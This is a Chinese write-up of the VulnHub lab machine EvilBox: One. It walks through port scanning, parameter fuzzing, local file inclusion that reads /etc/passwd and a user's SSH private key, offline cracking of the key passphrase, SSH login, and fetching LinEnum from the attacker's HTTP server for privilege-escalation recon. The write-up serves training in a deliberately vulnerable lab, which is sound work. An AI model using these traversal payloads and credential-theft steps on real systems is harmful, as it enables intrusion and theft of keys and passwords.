vulnhub靶场之EVILBOX: ONE

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

准备：

攻击机：虚拟机kali、本机win10。

靶机：EVILBOX: ONE，下载地址：https://download.vulnhub.com/evilbox/EvilBox---One.ova，下载后直接vbox打开即可。

知识点：文件包含漏洞、ffuf爆破参数名、ssh2john和john爆破密码、ssh私匙登录、/etc/passwd提权。

信息收集：

扫描下端口对应的服务：nmap -T4 -sV -p- -A 192.168.110.80，显示开放了22、80端口，开启了ssh、http服务

使用dirmap进行目录扫描，发现了robots.txt和目录secret，访问robots.txt文件显示：Hello H4x0r，对secrect目录进行扫描，发现evil.php。

参数名爆破：

访问：http://192.168.110.80/secret/evil.php未回返有用信息，考虑是需要传递参数，那我们就需要进行参数爆破，这里使用ffuf进行参数名爆破，命令：ffuf -u 'http://192.168.110.80/secret/evil.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0，发现参数名command。

文件包含漏洞：

访问下/etc/passwd文件，命令：http://192.168.110.80/secret/evil.php?command=../../../../../../etc/passwd，发现账户：mowree。

利用php伪协议读取下evil.php文件，命令：http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php，获得base64加密的信息，进行base64解密，获得evil.php的源码信息，但是该php文件无隐藏信息。

私匙获取：

nmap进行扫描时开启了ssh服务，查看下ssh服务的登录方式有哪些，命令：sudo ssh mowree@192.168.110.80 -v，显示支持密码和公匙登录。

尝试读取公匙信息，但是读取失败：http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa.pub。尝试读取下ssh的私匙信息，命令：http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa，进行解码获得私匙信息。

ssh私匙

将私匙信息保存到kali，然后使用私匙进行登录时发现还需要密码才可以，我们利用ssh2john生成hash.txt文件，命令：ssh2john id_rsa > hash.txt，然后使用john进行密码的破解，命令：john --wordlist=/usr/share/worlists/rockyou.txt hash.txt。成功获得密码：unicorn。

获取shell：

利用获得账户信息、密码信息、私匙信息：mowree、unicorn、id_rsa，命令：sudo ssh -i id_rsa mowree@192.168.110.80，成功获得shell权限并读取到flag值。

提权：

查看当前用户下具有root权限的可执行文件都有哪些，命令：find / -perm -4000 -type f 2>/dev/null。

使用LinEnum进行信息收集，在本机使用python开启http服务，命令：python -m http.server，然后靶机使用：wget http://192.168.110.234:8000/LinEnum.sh下载该文件并赋予可执行权限进行执行，发现我们对/etc/passwd文件具有读写权限。